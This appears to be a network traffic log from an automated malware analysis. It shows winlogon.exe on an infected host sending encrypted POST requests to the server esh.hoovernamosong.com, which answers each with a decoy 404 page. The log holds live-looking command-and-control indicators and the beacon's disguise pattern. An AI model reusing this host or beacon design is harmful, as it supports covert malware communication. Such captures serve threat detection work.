Nov 28, 2024 13:22:34.852482080 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:34 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:22:40.410196066 CET	433	OUT	POST /0000000000706D110000000000706D11 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 47 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: e7 1f 29 3a e2 57 42 a7 31 73 74 62 fc 7a 57 d0 de f0 e3 e0 2b c2 d4 b8 b1 07 6c c5 eb 3a 26 35 f3 e9 60 07 28 ab 38 ee ec 8e eb 3d d2 65 16 Data Ascii: ):WB1stbzW+l:&5`(8=e
Nov 28, 2024 13:22:40.687722921 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:40 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49733	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:22:46.085762024 CET	524	OUT	POST /0000000000722F620000000000722F62 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 137 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 92 14 48 cf 94 73 87 bb b4 c6 7f 97 3c f0 3a 4b 10 20 78 7c 13 55 1a 75 9b ad 12 1c f6 fa 7c 65 f3 82 dd 14 3e fc ee c6 62 ac 58 60 66 99 0f ec c9 ff 44 86 0a a6 c8 39 31 84 c8 ff 63 2d bf b7 da 6d 24 2d 1e 71 25 e0 e8 68 96 41 f9 1d ae db d4 75 6f 61 74 7f 79 c1 71 f8 75 bf dd a1 b3 9a 48 e8 9c 93 d1 3f f1 aa d1 12 fa be ed 78 89 7f 2f dd 45 c9 e9 8f e6 23 88 11 78 89 57 f3 24 cd cf 03 c1 34 4c e8 d0 32 77 Data Ascii: Hs<:K x\|Uu\|e>bX`fD91c-m$-q%hAuoatyquH?x/E#xW$4L2w
Nov 28, 2024 13:22:46.363126040 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:46 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:22:51.699064016 CET	518	OUT	POST /000000000072BB27000000000072BB27 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 131 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 66 ff 31 2c 52 12 26 5a 69 8b c0 65 a8 e3 15 7f 51 29 70 cd b7 ca 9f 21 f1 7b e4 1d 12 68 4f f7 ee dc 0a 3b 78 bb 8c 41 5b 70 f6 1a 20 88 b8 94 f3 99 b1 f0 da 34 99 60 d9 84 71 2e 68 e6 01 2d e7 29 18 f8 2a 23 03 10 2b 3a 58 ac db 7e b3 f8 0e 64 4b 30 69 d4 ae d3 86 37 e6 6c f3 0a 05 7f 59 fe e7 d5 03 32 71 b2 87 4a 50 7b fd 11 2b 82 b1 9d fa 90 b8 f9 d4 3b 96 6f d6 8b 7e 20 61 ef 08 24 ee Data Ascii: f1,R&ZieQ)p!{hO;xA[p 4`q.h-)*#+:X~dK0i7lY2qJP{+;o~ a$
Nov 28, 2024 13:22:51.976690054 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:51 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49738	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:22:57.512082100 CET	416	OUT	POST /0000000000742FC60000000000742FC6 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 30 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 89 8b 54 2c 39 f5 37 d0 6e ff 3c c7 c4 1a 08 16 9e e3 b9 ec 82 9a 7d 7e 4a f8 1f 81 d2 9c Data Ascii: T,97n<}~J
Nov 28, 2024 13:22:57.825690985 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:57 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:23:03.033888102 CET	503	OUT	POST /0000000000746D3C0000000000746D3C HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 116 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: f0 ed d9 84 67 ae 26 8b 0c 2c 43 c9 62 c5 05 19 aa 6a e8 a3 6f 36 04 41 27 bf 57 9d 1d 81 85 33 bc 95 ab 02 6c 6b ff 00 ca 43 37 72 d8 81 73 69 e4 38 07 15 31 46 52 2c 13 23 69 74 21 0f 91 68 bc 01 dd 9e 41 93 7c 85 7b 5d b7 57 d4 9f 7e c8 4c 3b 9d fd a1 da b3 75 0c 97 0a 08 d6 b3 8e d9 ca 7d 8e b2 b7 44 01 0d 2d a8 b8 d6 1a b1 c4 df c7 84 cb 1d Data Ascii: g&,Cbjo6A'W3lkC7rsi81FR,#it!hA\|{]W~L;u}D-
Nov 28, 2024 13:23:03.347639084 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:03 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:23:08.297637939 CET	531	OUT	POST /00000000007544B000000000007544B0 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 144 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 20 99 78 46 b4 57 f7 21 b7 00 72 08 c8 37 e6 f8 1f 15 f2 42 df 66 ef 5b 27 ec 54 34 18 da 94 7a 38 b6 b1 db d3 80 af 89 fc 2f e7 81 f1 3e c6 6d 14 40 2d 41 33 41 ec af 9d a5 8f 04 b4 6d a7 b7 3a ef 28 d2 e1 00 d9 54 65 61 b3 f5 71 38 ef 82 24 6b 82 9c 04 48 a3 b5 19 c6 c3 2c c1 d8 87 cc 6b 45 23 8a 44 36 35 b3 56 03 ec 9a 9c a9 c6 0e a8 cc e6 c0 3c 9f 6b 55 49 bf ef 3b 4d 78 71 1d 0e 99 e1 6d fb 76 21 71 f1 0e 84 eb 62 aa 00 ab Data Ascii: xFW!r7Bf['T4z8/>m@-A3Am:(Teaq8$kH,kE#D65V<kUI;Mxqmv!qb
Nov 28, 2024 13:23:08.611376047 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:08 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:23:13.707556963 CET	506	OUT	POST /00000000007559CF00000000007559CF HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 119 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 93 70 bd 3f 8b 95 b3 8c 08 3a 17 15 a2 43 c5 8c da 17 09 ee d0 9c 8d 5d ad e3 2b cd 3b e0 2d c0 e8 9d 56 a6 02 9c 4d 7f 76 43 36 9c 59 91 7c 20 33 8f be 9b f2 11 a1 20 a0 29 32 fc 00 dd 3f a8 14 a3 26 20 7c 89 8f 4c fb 5e 06 dc f3 15 b5 3c 89 c3 de bd 11 ce 76 8e 7d 42 ec dc 41 01 96 15 5a eb d7 2b 59 e0 08 a3 68 a3 d2 89 b9 e1 e5 8b ce 81 ee 00 36 89 84 Data Ascii: p?:C]+;-VMvC6Y\| 3 )2?& \|L^<v}BAZ+Yh6
Nov 28, 2024 13:23:14.021105051 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:13 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:23:19.045658112 CET	422	OUT	POST /000000000075BC61000000000075BC61 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 36 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 1c 92 dd bc 33 ac 80 6a a6 ee 4a e6 41 9a 55 3e 83 d9 24 09 4c 1b 29 af 88 7a 71 5f d9 fe 7b cc 3a 93 64 c6 Data Ascii: 3jJAU>$L)zq_{:d
Nov 28, 2024 13:23:19.359347105 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:23:19 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49749	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
